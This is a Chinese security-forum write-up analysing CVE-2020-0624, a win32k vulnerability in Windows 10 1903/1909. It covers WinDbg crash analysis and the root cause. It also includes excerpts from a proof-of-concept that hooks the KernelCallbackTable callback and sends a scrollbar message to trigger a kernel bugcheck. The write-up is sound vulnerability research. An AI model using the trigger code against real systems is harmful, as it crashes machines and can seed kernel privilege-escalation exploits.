CVE-2020-0624 win32k漏洞分析笔记

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看雪论坛作者ID：0x2l

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前言漏洞影响范围配置漏洞触发环境BSOD分析poc源码分析参考文章一些疑问

前言

当Win32k组件无法正确处理内存中的对象时，Windows即存在一个特权提升漏洞，我对他做了简单的分析。因为感觉作者的poc有一点小问题，所以文末会给出我的魔改版poc。

原作者poc： https://github.com/james0x40/CVE-2020-0624

漏洞影响范围

Microsoft Windows 10 1903
Microsoft Windows Server 1903
Microsoft Windows 10 1909

配置漏洞触发环境

[+] win10 x64 1903
[+] windbg preview 1.0.2001.02001

BSOD分析

tip：因为KALSR的关系，我们分析起来会很麻烦，不过我们可以在调试之前先保存一个快照，这样我们调试的时候就可以先不考虑KALSR。

崩溃之后我们使用!analyze v来分析一下。首先查看一下错误类型：

1: kd> !analyze v
ERROR: FindPlugIns 8007007b
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 0000000000000046, Attempt to free an invalid pool address
Arg2: ffffc29800880000, Starting address
Arg3: 0000000000000000, 0
Arg4: 0000000000000000, 0

错误是BAD_POOL_CALLER (c2)，出现异常的地址为ffffc29800880000，错误提示是我们释放了错误的内存。没什么头绪，看看堆栈的内容：

看起来很像是子函数NewCCI2进行了错误的操作，但其实要稍微复杂一些,后面分析poc源码的时候再说。

这里我们只关注win32kfull!Win32FreePoolImpl就好，正是这个函数导致了异常的发生，本来我是想直接给这个函数打断点，但是这个函数会被频繁调用，很不方便。

查阅资料发现该函数释放的内存后七位固定为0880000，所以我们可以通过cx寄存器来判断释放的内存是否为一场内存。条件断点如下：

ba e1 win32kfull!Win32FreePoolImpl+0x46 "r rcx;.if(cx == 0){.echo 1}.else{.echo 2;g}"

又或者你干脆已经知道了错误内存的地址为ffffc29800880000，那么直接设置rcx=ffffc29800880000也是ok的。

经历了漫长的条件判断之后我们终于断下来了,现在rcx的值为ffffc29800880000，正是我们的错误内存。检测一下属性：

解析不出来，直接查看数据：

连Header都没有，这根本就不是Kernel Pool，我们需要继续追踪这块奇怪的内存，从堆栈看一下调用关系：

上层函数是Win32FreePool，静态分析一下：

Win32FreePool函数仅仅是将参数传递给Win32FreePoolImpl函数而已，再看看上层函数xxxDestroyThreadInfo：

不同于以前的win7，在win10上无法查看tagTHREADINFO结构。所以无法得知tagTHREADINFO+0x2c8代表什么，以及是什么函数设置了它的内容，我们尝试继续下断点：

ba e1 win32kbase!xxxDestroyThreadInfo+0x94 "r rsi;.if(poi(rsi+0x2C8) != 0){.echo 1}.else{g}"

当rsi+0x2C8不为零的时候断下来，查看rsi+0x2c8是否为触发异常的内存。

还是那个熟悉的数字，看来这个地址就是关键，某个函数设置了它的值，并且最终交给xxxDestroyThreadInfo函数来释放他所指向的内存，我们只要一步一步追溯就可以追溯到事发源头。

但其实有更方便的法子，我们可以修改一下poc的源码，在一切都发生之前加入一个DebugBreak()断下来，接着对tagTHREADINFO+0x2c8下一个内存访问断点，这样windbg就会自动帮我们找到凶手了。

但是tagTHREADINFO的值每次都会发生变化，所以我们需要再保存一个快照，就在DebugBreak()函数断下来的时候。接着重新找出tagTHREADINFO的值，和刚刚一样：

现在我们恢复到刚刚保存的快照。重新断在DebugBreak()之后，接着我们对ffffc298061d48a0+2c8下一个内存访问断点并运行：

断下来之后我们就可以看到修改ffffc298061d48a0+2c8的地方，看一下堆栈里面的调用关系：

就是win32kfull!xxxSBTrackInit这个邪恶的函数将错误的地址写入了ffffc298061d48a0+2c8。我们在ida里面查看一下。

上面这个名字长的一批的函数返回了一个指向tagSBTrack结构的指针，之后这个指针将会被写入tagTHREADINFO+0x2c8处，即tagTHREADINFO->pSBTrack。

这块内存是由nt!MmCommitSessionMappedView函数分配的，而ExFreePool函数只能释放由ExAllocatePool，ExAllocatePoolWithTag，ExAllocatePoolWithQuota或ExAllocatePoolWithQuotaTag分配的内存，自然会触发异常从而导致BSOD。

poc源码分析

因为作者给出了源代码，所以我们接着看一下poc的源代码，我分成几个小部分来一一分析。

/* 获取指向TEB和PEB的指针 */
DWORD OldProtect{};

/* 获取指向TEB和PEB的指针 */
PTEB teb = NtCurrentTeb();
PPEB peb = teb->ProcessEnvironmentBlock;

OldProtect只是用来保存内存被修改前的访问保护值，teb和peb则分别保存线程环境块和进程环境块。

PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];

进程环境块中的KernelCallbackTable保存着函数指针表的，KeUserModeCallback通过参数ApiNumber作为索引来选择函数指针表中相应的函数。但是为什么是[2]，我们可以在这两句代码之前下一个断点。

0: kd> dt nt!_PEB @$peb +0x058
......
   +0x058 KernelCallbackTable : 0x00007ff5`6ad80028 Void
......

0: kd> dps poi($peb+58)
00007ffa`2bdb6330  00007ffa`2bd35150 USER32!_fnCOPYDATA
00007ffa`2bdb6338  00007ffa`2bdae720 USER32!_fnCOPYGLOBALDATA
00007ffa`2bdb6340  00007ffa`2bd52cd0 USER32!_fnDWORD
00007ffa`2bdb6348  00007ffa`2bd56780 USER32!_fnNCDESTROY
00007ffa`2bdb6350  00007ffa`2bd5cd50 USER32!_fnDWORDOPTINLPMSG
......

peb+58的地址就是KernelCallbackTable的地址，这里的[2]是USER32!_fnDWORD。

如果我们向滚动条子控件发送WM_LBUTTONDOWN消息时，会调用到win32kfull!xxxSBTrackInit()函数，该函数首先会创建一个Session Pool，用来保存 tagSBTrack结构。所以后面我们会特意营造这种情景来调用这个回调函数。

/*
    BOOL VirtualProtect(                // 此函数更改对调用进程的虚拟地址空间中的已提交页面区域的保护
        LPVOID lpAddress,                // 要更改其访问保护属性的页面区域的起始页面
        SIZE_T dwSize,                    // 要更改其访问保护属性的区域的大小
        DWORD  flNewProtect,            // 内存保护选项,PAGE_EXECUTE_READWRITE为可读可写可执行权限
        PDWORD lpflOldProtect            // 指向变量的指针，该变量接收页面的指定区域中第一页的先前访问保护值
    );

    PVOID InterlockedExchangePointer(    // 此函数原子交换一对地址
        PVOID volatile *Target,            // 目标地址
        PVOID          Value            // 与目标函数交换的地址
    );
    */

    if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
        return 0;
    OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2, &NewCCI2);

我们在上一步已经得到了指向(peb->KernelCallbackTable)[2]和(peb->KernelCallbackTable)[3]地址的指针，接着我们只要直接赋值就可以hook这两个函数了。

OrgCCI2保存原先的函数指针以使用正常的功能，这样我们的hook函数既可以执行我们自定义的操作，还不影响原本的功能。

hChild = CreateWindow(
    L"ScrollBar",
    L"Vul",
    WS_OVERLAPPEDWINDOW | WS_VISIBLE,
    CW_USEDEFAULT,
    CW_USEDEFAULT,
    10,
    10,
    NULL,
    NULL,
    NULL,
    NULL
);

scrollbar的窗口是可见的，设置WM_VISIBLE,这样才能成功触发。至此，回调函数也hook完了，窗口也已经创建了，我们可以开始考虑调用我们hook的函数了，具体实现如下：

NTSTATUS NTAPI NewCCI2(PVOID Param)
{
    if (Flag)
    {
        ExitThread(0);
    }
    return OrgCCI2(Param);
}

因为被我们hook的两个函数有可能会被其他部分调用，所以我们设置了Flag1和Flag2来跳过我们hook的内容，而去执行OrgCCI2和OrgCCI3，这两个指针保存的正是hook之前的函数指针，这样，其他部分调用hook之后的函数也不会发生异常。

Flag = TRUE;
SendMessage(hVul, WM_LBUTTONDOWN, 0, 0);

在NewCCI2中，因为Flag已经被置1，所以我们会调用if语句之内的内容，也就是ExitThread(0)。

接着win32kfull!Win32FreePoolImpl就会调用nt!ExFreePool来释放tagSBTrack，导致BSOD。

大概流程是这样：

[+] HOOK KernelCallbackTable->fnDWORD
[+] 创建一个可视的滚动条窗口SrollBar并发送WM_LBUTTONDOWN消息
[+] 系统处理消息初始化SBTrack结构并开始循环,接着触发fnDWORD回调
[+] 由于KernelCallbackTable->fnDWORD已经被我们修改,所以程序转去执行NewCCI2函数
[+] win32kfull!xxxSBTrackInit()函数已经将tagSBTrack结构写入了tagTHREADINFO+2c8处,退出线程时会触发BSOD

参考文章

晏子霜师傅本人和博客都有很大帮助，我偷了很多思路和技巧：http://www.whsgwl.net/

wjllz师傅，同样是偷思路和技巧：https://xz.aliyun.com/u/12604

其他：
https://www.anquanke.com/post/id/97498
https://pediy.com/kssd/pediy11/104918.html

ps. 漏洞附件请点击“阅读原文”下载。

- End -

看雪ID：0x2l

https://bbs.pediy.com/user-862439htm

  *本文由看雪论坛 0x2l 原创，转载请注明来自看雪社区。

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